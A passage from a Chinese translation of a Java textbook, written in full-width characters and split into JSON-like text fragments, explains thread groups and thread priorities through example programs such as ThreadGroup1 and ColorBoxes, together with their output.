ｓ［０］．ｇｅｔＴｈｒｅａｄＧｒｏｕｐ（）．ｓｅｔＭａｘＰｒｉｏｒｉｔｙ（ｍａｘｐ）； ｓｈｏｗＭａｘＰｒｉｏｒｉｔｙ（）； ｝ ｝ ｃｌａｓｓ ＤｏｗｎＭａｘＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｎｔ ｍａｘｐ ＝ ｓ［０］．ｇｅｔＴｈｒｅａｄＧｒｏｕｐ（）．ｇｅｔＭａｘＰｒｉｏｒｉｔｙ（）； ｉｆ（－－ｍａｘｐ ＜ Ｔｈｒｅａｄ．ＭＩＮ＿ＰＲＩＯＲＩＴＹ） ｍａｘｐ ＝ Ｔｈｒｅａｄ．ＭＩＮ＿ＰＲＩＯＲＩＴＹ； ｓ［０］．ｇｅｔＴｈｒｅａｄＧｒｏｕｐ（）．ｓｅｔＭａｘＰｒｉｏｒｉｔｙ（ｍａｘｐ）； ｓｈｏｗＭａｘＰｒｉｏｒｉｔｙ（）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｏｕｎｔｅｒ５ ａｐｐｌｅｔ ＝ ｎｅｗ Ｃｏｕｎｔｅｒ５（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｃｏｕｎｔｅｒ５＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３００， ６００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "除此以外，还有一些标签用于显示一个线程可以采用的最大及最小优先级； 以及一个特殊的文本字 段，用于显示线程组的最大优先级（在下一节里，我们将全面讨论线程组的问题）。 最后，父线程组的优先 级也作为标签显示出来。"},
    {"text": "线程的优 先级不会改变，但假若试图提高或者降低它，就会发现这个优先级自动变成线程组的优先级。 此外，新线程 仍然具有一个默认优先级，即使它比组的优先级还要高（换句话说，不要指望利用组优先级来防止新线程拥 有比现有的更高的优先级）。"},
    {"text": "下面这个例子展示了位于一个“叶子组”内的线程能修改它所在线程组树的所有线程的优先级，同时还能为 这个“树”内的所有线程都调用一个方法。"},
    {"text": "该书由 Ａｒｎｏｌｄ 和 Ｊａｍｓ Ｇｏｓｌｉｎｇ 编著，Ａｄｄｉｓｏｎ－Ｗｅｓｌｅｙ 于 １９９６ 年出版 ／／： ＴｅｓｔＡｃｃｅｓｓ．ｊａｖａ ／／ Ｈｏｗ ｔｈｒｅａｄｓ ｃａｎ ａｃｃｅｓｓ ｏｔｈｅｒ ｔｈｒｅａｄｓ ／／ ｉｎ ａ ｐａｒｅｎｔ ｔｈｒｅａｄ ｇｒｏｕｐ ｐｕｂｌｉｃ ｃｌａｓｓ ＴｅｓｔＡｃｃｅｓｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＴｈｒｅａｄＧｒｏｕｐ ｘ ＝ ｎｅｗ ＴｈｒｅａｄＧｒｏｕｐ（＂ｘ＂）， ｙ ＝ ｎｅｗ ＴｈｒｅａｄＧｒｏｕｐ（ｘ， ＂ｙ＂）， ｚ ＝ ｎｅｗ ＴｈｒｅａｄＧｒｏｕｐ（ｙ， ＂ｚ＂）；"},
    {"text": "Ｔｈｒｅａｄ ｏｎｅ ＝ ｎｅｗ ＴｅｓｔＴｈｒｅａｄ１（ｘ， ＂ｏｎｅ＂）， ｔｗｏ ＝ ｎｅｗ ＴｅｓｔＴｈｒｅａｄ２（ｚ， ＂ｔｗｏ＂）； ｝ ｝ ｃｌａｓｓ ＴｅｓｔＴｈｒｅａｄ１ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ； ＴｅｓｔＴｈｒｅａｄ１（ＴｈｒｅａｄＧｒｏｕｐ ｇ， Ｓｔｒｉｎｇ ｎａｍｅ） ｛ ｓｕｐｅｒ（ｇ， ｎａｍｅ）； ｝ ｖｏｉｄ ｆ（） ｛ ｉ＋＋； ／／ ｍｏｄｉｆｙ ｔｈｉｓ ｔｈｒｅａｄ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｇｅｔＮａｍｅ（） ＋ ＂ ｆ（）＂）； ｝ ｝ ５２５ ｃｌａｓｓ ＴｅｓｔＴｈｒｅａｄ２ ｅｘｔｅｎｄｓ ＴｅｓｔＴｈｒｅａｄ１ ｛ ＴｅｓｔＴｈｒｅａｄ２（ＴｈｒｅａｄＧｒｏｕｐ ｇ， Ｓｔｒｉｎｇ ｎａｍｅ） ｛ ｓｕｐｅｒ（ｇ， ｎａｍｅ）； ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ＴｈｒｅａｄＧｒｏｕｐ ｇ ＝ ｇｅｔＴｈｒｅａｄＧｒｏｕｐ（）．ｇｅｔＰａｒｅｎｔ（）．ｇｅｔＰａｒｅｎｔ（）； ｇ．ｌｉｓｔ（）； Ｔｈｒｅａｄ［］ ｇＡｌｌ ＝ ｎｅｗ Ｔｈｒｅａｄ［ｇ．ａｃｔｉｖｅＣｏｕｎｔ（）］； ｇ．ｅｎｕｍｅｒａｔｅ（ｇＡｌｌ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｇＡｌｌ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ｇＡｌｌ［ｉ］．ｓｅｔＰｒｉｏｒｉｔｙ（Ｔｈｒｅａｄ．ＭＩＮ＿ＰＲＩＯＲＩＴＹ）； （（ＴｅｓｔＴｈｒｅａｄ１）ｇＡｌｌ［ｉ］）．ｆ（）； ｝ ｇ．ｌｉｓｔ（）；"},
    {"text": "｝ ｝ ／／／：￣ 在 ｍａｉｎ（）中，我们创建了几个 ＴｈｒｅａｄＧｒｏｕｐ（线程组），每个都位于不同的“叶”上：ｘ 没有参数，只有它 的名字（一个 Ｓｔｒｉｎｇ），所以会自动进入“ｓｙｓｔｅｍ”（系统）线程组；"},
    {"text": "首先，它获得当前线程所在的线程组，然后利用 ｇｅｔＰａｒｅｎｔ（）在继承树中 向上移动两级（这样做是有道理的，因为我想把 ＴｅｓｔＴｈｒｅａｄ２ 在分级结构中向下移动两级）。"},
    {"text": "随后，我们调 用方法 ａｃｔｉｖｅＣｏｕｎｔ（） ，查询这个线程组以及所有子线程组内有多少个线程，从而创建由指向 Ｔｈｒｅａｄ 的句柄 构成的一个数组。 ｅｎｕｍｅｒａｔｅ（）方法将指向所有这些线程的句柄置入数组 ｇＡｌｌ 里。"},
    {"text": "下面是程序的输出： ｊａｖａ．ｌａｎｇ．ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｘ，ｍａｘｐｒｉ＝１０］ Ｔｈｒｅａｄ［ｏｎｅ，５，ｘ］ ｊａｖａ．ｌａｎｇ．ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｙ，ｍａｘｐｒｉ＝１０］ ｊａｖａ．ｌａｎｇ．ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｚ，ｍａｘｐｒｉ＝１０］ Ｔｈｒｅａｄ［ｔｗｏ，５，ｚ］ ｏｎｅ ｆ（） ｔｗｏ ｆ（） ｊａｖａ．ｌａｎｇ．ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｘ，ｍａｘｐｒｉ＝１０］ Ｔｈｒｅａｄ［ｏｎｅ，１，ｘ］ ｊａｖａ．ｌａｎｇ．ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｙ，ｍａｘｐｒｉ＝１０］ ｊａｖａ．ｌａｎｇ．ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｚ，ｍａｘｐｒｉ＝１０］ Ｔｈｒｅａｄ［ｔｗｏ，１，ｚ］ ｌｉｓｔ（）不仅打印出 ＴｈｒｅａｄＧｒｏｕｐ 或者 Ｔｈｒｅａｄ 的类名，也打印出了线程组的名字以及它的最高优先级。 对于线 程，则打印出它们的名字，并接上线程优先级以及所属的线程组。"},
    {"text": "括号内的注释数字便于大家比较输出结 果： ／／： ＴｈｒｅａｄＧｒｏｕｐ１．ｊａｖａ ／／ Ｈｏｗ ｔｈｒｅａｄ ｇｒｏｕｐｓ ｃｏｎｔｒｏｌ ｐｒｉｏｒｉｔｉｅｓ ／／ ｏｆ ｔｈｅ ｔｈｒｅａｄｓ ｉｎｓｉｄｅ ｔｈｅｍ． ｐｕｂｌｉｃ ｃｌａｓｓ ＴｈｒｅａｄＧｒｏｕｐ１ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ／／ Ｇｅｔ ｔｈｅ ｓｙｓｔｅｍ ｔｈｒｅａｄ ＆ ｐｒｉｎｔ ｉｔｓ Ｉｎｆｏ： ＴｈｒｅａｄＧｒｏｕｐ ｓｙｓ ＝ Ｔｈｒｅａｄ．ｃｕｒｒｅｎｔＴｈｒｅａｄ（）．ｇｅｔＴｈｒｅａｄＧｒｏｕｐ（）；"},
    {"text": "ｓｙｓ．ｌｉｓｔ（）； ／／ （１） ／／ Ｒｅｄｕｃｅ ｔｈｅ ｓｙｓｔｅｍ ｔｈｒｅａｄ ｇｒｏｕｐ ｐｒｉｏｒｉｔｙ： ｓｙｓ．ｓｅｔＭａｘＰｒｉｏｒｉｔｙ（Ｔｈｒｅａｄ．ＭＡＸ＿ＰＲＩＯＲＩＴＹ － １）； ／／ Ｉｎｃｒｅａｓｅ ｔｈｅ ｍａｉｎ ｔｈｒｅａｄ ｐｒｉｏｒｉｔｙ： Ｔｈｒｅａｄ ｃｕｒｒ ＝ Ｔｈｒｅａｄ．ｃｕｒｒｅｎｔＴｈｒｅａｄ（）； ｃｕｒｒ．ｓｅｔＰｒｉｏｒｉｔｙ（ｃｕｒｒ．ｇｅｔＰｒｉｏｒｉｔｙ（） ＋ １）； ｓｙｓ．ｌｉｓｔ（）； ／／ （２） ／／ Ａｔｔｅｍｐｔ ｔｏ ｓｅｔ ａ ｎｅｗ ｇｒｏｕｐ ｔｏ ｔｈｅ ｍａｘ： ＴｈｒｅａｄＧｒｏｕｐ ｇ１ ＝ ｎｅｗ ＴｈｒｅａｄＧｒｏｕｐ（＂ｇ１＂）； ｇ１．ｓｅｔＭａｘＰｒｉｏｒｉｔｙ（Ｔｈｒｅａｄ．ＭＡＸ＿ＰＲＩＯＲＩＴＹ）； ／／ Ａｔｔｅｍｐｔ ｔｏ ｓｅｔ ａ ｎｅｗ ｔｈｒｅａｄ ｔｏ ｔｈｅ ｍａｘ： Ｔｈｒｅａｄ ｔ ＝ ｎｅｗ Ｔｈｒｅａｄ（ｇ１， ＂Ａ＂）； ｔ．ｓｅｔＰｒｉｏｒｉｔｙ（Ｔｈｒｅａｄ．ＭＡＸ＿ＰＲＩＯＲＩＴＹ）； ｇ１．ｌｉｓｔ（）； ／／ （３） ／／ Ｒｅｄｕｃｅ ｇ１＇ｓ ｍａｘ ｐｒｉｏｒｉｔｙ， ｔｈｅｎ ａｔｔｅｍｐｔ ／／ ｔｏ ｉｎｃｒｅａｓｅ ｉｔ： ｇ１．ｓｅｔＭａｘＰｒｉｏｒｉｔｙ（Ｔｈｒｅａｄ．ＭＡＸ＿ＰＲＩＯＲＩＴＹ － ２）； ｇ１．ｓｅｔＭａｘＰｒｉｏｒｉｔｙ（Ｔｈｒｅａｄ．ＭＡＸ＿ＰＲＩＯＲＩＴＹ）； ｇ１．ｌｉｓｔ（）； ／／ （４） ／／ Ａｔｔｅｍｐｔ ｔｏ ｓｅｔ ａ ｎｅｗ ｔｈｒｅａｄ ｔｏ ｔｈｅ ｍａｘ： ｔ ＝ ｎｅｗ Ｔｈｒｅａｄ（ｇ１， ＂Ｂ＂）； ｔ．ｓｅｔＰｒｉｏｒｉｔｙ（Ｔｈｒｅａｄ．ＭＡＸ＿ＰＲＩＯＲＩＴＹ）； ｇ１．ｌｉｓｔ（）； ／／ （５） ／／ Ｌｏｗｅｒ ｔｈｅ ｍａｘ ｐｒｉｏｒｉｔｙ ｂｅｌｏｗ ｔｈｅ ｄｅｆａｕｌｔ ／／ ｔｈｒｅａｄ ｐｒｉｏｒｉｔｙ： ｇ１．ｓｅｔＭａｘＰｒｉｏｒｉｔｙ（Ｔｈｒｅａｄ．ＭＩＮ＿ＰＲＩＯＲＩＴＹ ＋ ２）； ／／ Ｌｏｏｋ ａｔ ａ ｎｅｗ ｔｈｒｅａｄ＇ｓ ｐｒｉｏｒｉｔｙ ｂｅｆｏｒｅ ／／ ａｎｄ ａｆｔｅｒ ｃｈａｎｇｉｎｇ ｉｔ： ｔ ＝ ｎｅｗ Ｔｈｒｅａｄ（ｇ１， ＂Ｃ＂）； ｇ１．ｌｉｓｔ（）； ／／ （６） ｔ．ｓｅｔＰｒｉｏｒｉｔｙ（ｔ．ｇｅｔＰｒｉｏｒｉｔｙ（） －１）； ｇ１．ｌｉｓｔ（）； ／／ （７） ／／ Ｍａｋｅ ｇ２ ａ ｃｈｉｌｄ Ｔｈｒｅａｄｇｒｏｕｐ ｏｆ ｇ１ ａｎｄ ／／ ｔｒｙ ｔｏ ｉｎｃｒｅａｓｅ ｉｔｓ ｐｒｉｏｒｉｔｙ： ＴｈｒｅａｄＧｒｏｕｐ ｇ２ ＝ ｎｅｗ ＴｈｒｅａｄＧｒｏｕｐ（ｇ１， ＂ｇ２＂）； ｇ２．ｌｉｓｔ（）； ／／ （８） ｇ２．ｓｅｔＭａｘＰｒｉｏｒｉｔｙ（Ｔｈｒｅａｄ．ＭＡＸ＿ＰＲＩＯＲＩＴＹ）； ５２７ ｇ２．ｌｉｓｔ（）； ／／ （９） ／／ Ａｄｄ ａ ｂｕｎｃｈ ｏｆ ｎｅｗ ｔｈｒｅａｄｓ ｔｏ ｇ２： ｆｏｒ （ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ＋＋） ｎｅｗ Ｔｈｒｅａｄ（ｇ２， Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｉ））； ／／ Ｓｈｏｗ ｉｎｆｏｒｍａｔｉｏｎ ａｂｏｕｔ ａｌｌ ｔｈｒｅａｄｇｒｏｕｐｓ ／／ ａｎｄ ｔｈｒｅａｄｓ： ｓｙｓ．ｌｉｓｔ（）； ／／ （１０） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｔａｒｔｉｎｇ ａｌｌ ｔｈｒｅａｄｓ：＂）； Ｔｈｒｅａｄ［］ ａｌｌ ＝ ｎｅｗ Ｔｈｒｅａｄ［ｓｙｓ．ａｃｔｉｖｅＣｏｕｎｔ（）］； ｓｙｓ．ｅｎｕｍｅｒａｔｅ（ａｌｌ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａｌｌ．ｌｅｎｇｔｈ； ｉ＋＋） ｉｆ（！ ａｌｌ［ｉ］．ｉｓＡｌｉｖｅ（）） ａｌｌ［ｉ］．ｓｔａｒｔ（）； ／／ Ｓｕｓｐｅｎｄｓ ＆ Ｓｔｏｐｓ ａｌｌ ｔｈｒｅａｄｓ ｉｎ ／／ ｔｈｉｓ ｇｒｏｕｐ ａｎｄ ｉｔｓ ｓｕｂｇｒｏｕｐｓ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａｌｌ ｔｈｒｅａｄｓ ｓｔａｒｔｅｄ＂）； ｓｙｓ．ｓｕｓｐｅｎｄ（）； ／／ Ｄｅｐｒｅｃａｔｅｄ ｉｎ Ｊａｖａ １．２ ／／ Ｎｅｖｅｒ ｇｅｔｓ ｈｅｒｅ．．． Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａｌｌ ｔｈｒｅａｄｓ ｓｕｓｐｅｎｄｅｄ＂）； ｓｙｓ．ｓｔｏｐ（）； ／／ Ｄｅｐｒｅｃａｔｅｄ ｉｎ Ｊａｖａ １．２ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａｌｌ ｔｈｒｅａｄｓ ｓｔｏｐｐｅｄ＂）；"},
    {"text": "｝ ｝ ／／／：￣ 下面的输出结果已进行了适当的编辑，以便用一页能够装下（ｊａｖａ．ｌａｎｇ．已被删去），而且添加了适当的数 字，与前面程序列表中括号里的数字对应： （１） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｓｙｓｔｅｍ，ｍａｘｐｒｉ＝１０］ Ｔｈｒｅａｄ［ｍａｉｎ，５，ｓｙｓｔｅｍ］ （２） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｓｙｓｔｅｍ，ｍａｘｐｒｉ＝９］ Ｔｈｒｅａｄ［ｍａｉｎ，６，ｓｙｓｔｅｍ］ （３） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ１，ｍａｘｐｒｉ＝９］ Ｔｈｒｅａｄ［Ａ，９，ｇ１］ （４） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ１，ｍａｘｐｒｉ＝８］ Ｔｈｒｅａｄ［Ａ，９，ｇ１］ （５） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ１，ｍａｘｐｒｉ＝８］ Ｔｈｒｅａｄ［Ａ，９，ｇ１］ Ｔｈｒｅａｄ［Ｂ，８，ｇ１］ （６） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ１，ｍａｘｐｒｉ＝３］ Ｔｈｒｅａｄ［Ａ，９，ｇ１］ Ｔｈｒｅａｄ［Ｂ，８，ｇ１］ Ｔｈｒｅａｄ［Ｃ，６，ｇ１］ （７） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ１，ｍａｘｐｒｉ＝３］ Ｔｈｒｅａｄ［Ａ，９，ｇ１］ Ｔｈｒｅａｄ［Ｂ，８，ｇ１］ Ｔｈｒｅａｄ［Ｃ，３，ｇ１］ （８） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ２，ｍａｘｐｒｉ＝３］ （９） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ２，ｍａｘｐｒｉ＝３］ （１０）ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｓｙｓｔｅｍ，ｍａｘｐｒｉ＝９］ Ｔｈｒｅａｄ［ｍａｉｎ，６，ｓｙｓｔｅｍ］ ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ１，ｍａｘｐｒｉ＝３］ Ｔｈｒｅａｄ［Ａ，９，ｇ１］ ５２８ Ｔｈｒｅａｄ［Ｂ，８，ｇ１］ Ｔｈｒｅａｄ［Ｃ，３，ｇ１］ ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ２，ｍａｘｐｒｉ＝３］ Ｔｈｒｅａｄ［０，６，ｇ２］ Ｔｈｒｅａｄ［１，６，ｇ２］ Ｔｈｒｅａｄ［２，６，ｇ２］ Ｔｈｒｅａｄ［３，６，ｇ２］ Ｔｈｒｅａｄ［４，６，ｇ２］ Ｓｔａｒｔｉｎｇ ａｌｌ ｔｈｒｅａｄｓ： Ａｌｌ ｔｈｒｅａｄｓ ｓｔａｒｔｅｄ 所有程序都至少有一个线程在运行，而且 ｍａｉｎ（）采取的第一项行动便是调用 Ｔｈｒｅａｄ 的一个 ｓｔａｔｉｃ（静态） 方法，名为 ｃｕｒｒｅｎｔＴｈｒｅａｄ（）。"},
    {"text": "输出如下： （１） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｓｙｓｔｅｍ，ｍａｘｐｒｉ＝１０］ Ｔｈｒｅａｄ［ｍａｉｎ，５，ｓｙｓｔｅｍ］ 我们可以看到，主线程组的名字是 ｓｙｓｔｅｍ，而主线程的名字是 ｍａｉｎ，而且它从属于 ｓｙｓｔｅｍ 线程组。"},
    {"text": "第二个练习显示出 ｓｙｓｔｅｍ 组的最高优先级可以减少，而且 ｍａｉｎ 线程可以增大自己的优先级： （２） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｓｙｓｔｅｍ，ｍａｘｐｒｉ＝９］ Ｔｈｒｅａｄ［ｍａｉｎ，６，ｓｙｓｔｅｍ］ 第三个练习创建一个新的线程组，名为 ｇ１；"},
    {"text": "结果如下： （３） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ１，ｍａｘｐｒｉ＝９］ Ｔｈｒｅａｄ［Ａ，９，ｇ１］ 可以看出，不可能将线程组的最大优先级设为高于它的父线程组。"},
    {"text": "第四个练习将 ｇ１ 的最大优先级降低两级，然后试着把它升至 Ｔｈｒｅａｄ．ＭＡＸ＿ＰＲＩＯＲＩＴＹ。 结果如下： （４） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ１，ｍａｘｐｒｉ＝８］ Ｔｈｒｅａｄ［Ａ，９，ｇ１］ 同样可以看出，提高最大优先级的企图是失败的。"},
    {"text": "如下所示： （５） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ１，ｍａｘｐｒｉ＝８］ Ｔｈｒｅａｄ［Ａ，９，ｇ１］ Ｔｈｒｅａｄ［Ｂ，８，ｇ１］ 因此，新线程不能变到比最大线程组优先级还要高的一级。"},
    {"text": "练习六将把线程组的最大优先级降至默认线程优先级以下，看看在这种情况下新建 一个线程会发生什么事情： （６） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ１，ｍａｘｐｒｉ＝３］ Ｔｈｒｅａｄ［Ａ，９，ｇ１］ ５２９ Ｔｈｒｅａｄ［Ｂ，８，ｇ１］ Ｔｈｒｅａｄ［Ｃ，６，ｇ１］ 尽管线程组现在的最大优先级是 ３，但仍然用默认优先级 ６ 来创建新线程。"},
    {"text": "改变了优先级后，接下来试试将其降低一级，结果如下： （７） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ１，ｍａｘｐｒｉ＝３］ Ｔｈｒｅａｄ［Ａ，９，ｇ１］ Ｔｈｒｅａｄ［Ｂ，８，ｇ１］ Ｔｈｒｅａｄ［Ｃ，３，ｇ１］ 因此，只有在试图改变优先级的时候，才会强迫遵守线程组最大优先级的限制。"},
    {"text": "大家可以看到，ｇ２ 的优先级无论如何都不可能高于 ｇ１： （８） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ２，ｍａｘｐｒｉ＝３］ （９） ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ２，ｍａｘｐｒｉ＝３］ 也要注意在 ｇ２ 创建的时候，它会被自动设为 ｇ１ 的线程组最大优先级。 经过所有这些实验以后，整个线程组和线程系统都会被打印出来，如下所示： （１０）ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｓｙｓｔｅｍ，ｍａｘｐｒｉ＝９］ Ｔｈｒｅａｄ［ｍａｉｎ，６，ｓｙｓｔｅｍ］ ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ１，ｍａｘｐｒｉ＝３］ Ｔｈｒｅａｄ［Ａ，９，ｇ１］ Ｔｈｒｅａｄ［Ｂ，８，ｇ１］ Ｔｈｒｅａｄ［Ｃ，３，ｇ１］ ＴｈｒｅａｄＧｒｏｕｐ［ｎａｍｅ＝ｇ２，ｍａｘｐｒｉ＝３］ Ｔｈｒｅａｄ［０，６，ｇ２］ Ｔｈｒｅａｄ［１，６，ｇ２］ Ｔｈｒｅａｄ［２，６，ｇ２］ Ｔｈｒｅａｄ［３，６，ｇ２］ Ｔｈｒｅａｄ［４，６，ｇ２］ 所以由线程组的规则所限，一个子组的最大优先级在任何时候都只能低于或等于它的父组的最大优先级。"},
    {"text": "例如，ｓｙｓｔｅｍ 组随后会被挂起（暂停），最后被中止（尽管用 ｓｕｓｐｅｎｄ（）和 ｓｔｏｐ（）对整个线程组进行操 作看起来似乎很有趣，但应注意这些方法在 Ｊａｖａ １．２ 里都是被“反对”的）。 但在挂起 ｓｙｓｔｅｍ 组的同时， 也挂起了 ｍａｉｎ 线程，而且整个程序都会关闭。"},
    {"text": "由于 ＴｈｒｅａｄＧｒｏｕｐ 是从 Ｏｂｊｅｃｔ 继承的，其中包含了 ｗａｉｔ（）方法，所以也能调用 ｗａｉｔ（秒数×１０００），令程序暂停运行任意秒数的时 间。"},
    {"text": "ＴｈｒｅａｄＧｒｏｕｐ 类也提供了 ｓｕｓｐｅｎｄ（）和 ｒｅｓｕｍｅ（）方法，所以能中止和启动整个线程组和它的所有线程，也能 中止和启动它的子组，所有这些只需一个命令即可（再次提醒，ｓｕｓｐｅｎｄ（）和 ｒｅｓｕｍｅ（）都是 Ｊａｖａ １．２ 所“反 对”的）。"},
    {"text": "１ ４ ． ５ 回顾 ｒ ｕ ｎ ｎ ａ ｂ ｌ ｅ 在本章早些时候，我曾建议大家在将一个程序片或主 Ｆｒａｍｅ 当作 Ｒｕｎｎａｂｌｅ 的实现形式之前，一定要好好地想 一想。"},
    {"text": "本章最后一 个例子对这一点进行了剖析，制作了一个 ＲｕｎｎａｂｌｅＣａｎｖａｓ 类，用于为自己描绘不同的颜色（Ｃａｎｖａｓ 是“画 布”的意思）。"},
    {"text": "通过运用这些值，大家能体验到线程一些有趣而且可能令人费解的特性： ／／： ＣｏｌｏｒＢｏｘｅｓ．ｊａｖａ ／／ Ｕｓｉｎｇ ｔｈｅ Ｒｕｎｎａｂｌｅ ｉｎｔｅｒｆａｃｅ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｃｌａｓｓ ＣＢｏｘ ｅｘｔｅｎｄｓ Ｃａｎｖａｓ ｉｍｐｌｅｍｅｎｔｓ Ｒｕｎｎａｂｌｅ ｛ ｐｒｉｖａｔｅ Ｔｈｒｅａｄ ｔ； ｐｒｉｖａｔｅ ｉｎｔ ｐａｕｓｅ； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｆｉｎａｌ Ｃｏｌｏｒ［］ ｃｏｌｏｒｓ ＝ ｛ Ｃｏｌｏｒ．ｂｌａｃｋ， Ｃｏｌｏｒ．ｂｌｕｅ， Ｃｏｌｏｒ．ｃｙａｎ， Ｃｏｌｏｒ．ｄａｒｋＧｒａｙ， Ｃｏｌｏｒ．ｇｒａｙ， Ｃｏｌｏｒ．ｇｒｅｅｎ， Ｃｏｌｏｒ．ｌｉｇｈｔＧｒａｙ， Ｃｏｌｏｒ．ｍａｇｅｎｔａ， Ｃｏｌｏｒ．ｏｒａｎｇｅ， Ｃｏｌｏｒ．ｐｉｎｋ， Ｃｏｌｏｒ．ｒｅｄ， Ｃｏｌｏｒ．ｗｈｉｔｅ， Ｃｏｌｏｒ．ｙｅｌｌｏｗ ｝； ｐｒｉｖａｔｅ Ｃｏｌｏｒ ｃＣｏｌｏｒ ＝ ｎｅｗＣｏｌｏｒ（）； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｆｉｎａｌ Ｃｏｌｏｒ ｎｅｗＣｏｌｏｒ（） ｛ ｒｅｔｕｒｎ ｃｏｌｏｒｓ［ （ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ ｃｏｌｏｒｓ．ｌｅｎｇｔｈ） ］； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｇ．ｓｅｔＣｏｌｏｒ（ｃＣｏｌｏｒ）； Ｄｉｍｅｎｓｉｏｎ ｓ ＝ ｇｅｔＳｉｚｅ（）； ｇ．ｆｉｌｌＲｅｃｔ（０， ０， ｓ．ｗｉｄｔｈ， ｓ．ｈｅｉｇｈｔ）； ｝ ｐｕｂｌｉｃ ＣＢｏｘ（ｉｎｔ ｐａｕｓｅ） ｛ ｔｈｉｓ．ｐａｕｓｅ ＝ ｐａｕｓｅ； ｔ ＝ ｎｅｗ Ｔｈｒｅａｄ（ｔｈｉｓ）； ｔ．ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｃＣｏｌｏｒ ＝ ｎｅｗＣｏｌｏｒ（）； ｒｅｐａｉｎｔ（）； ｔｒｙ ｛ ｔ．ｓｌｅｅｐ（ｐａｕｓｅ）； ｝ 